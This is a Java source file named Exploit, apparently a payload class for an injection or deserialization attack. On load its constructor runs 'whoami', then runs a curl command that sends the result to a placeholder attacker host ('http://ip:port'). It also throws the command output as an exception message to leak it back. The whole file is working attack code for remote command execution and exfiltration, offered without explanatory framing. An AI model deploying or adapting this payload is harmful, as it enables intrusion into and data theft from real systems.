import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit{
	public static String exec(String cmd) throws Exception{
		String res = "";
		BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
		BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
		String lineStr;
		while((lineStr = inBr.readLine()) != null){
			res += lineStr+"\n";
		}
		inBr.close();
		in.close();
		return res;
	}

	public Exploit() throws Exception{
		String result = "";
		result = exec("whoami");
		String cmd = "curl http://ip:port"+result;
		throw new Exception(exec(cmd));
	}

	public static void main(String[] args) throws Exception{
		String result = "";
		result = exec("whoami");
		String cmd = "curl http://ip:port"+result;
		throw new Exception(exec(cmd));
	}
}

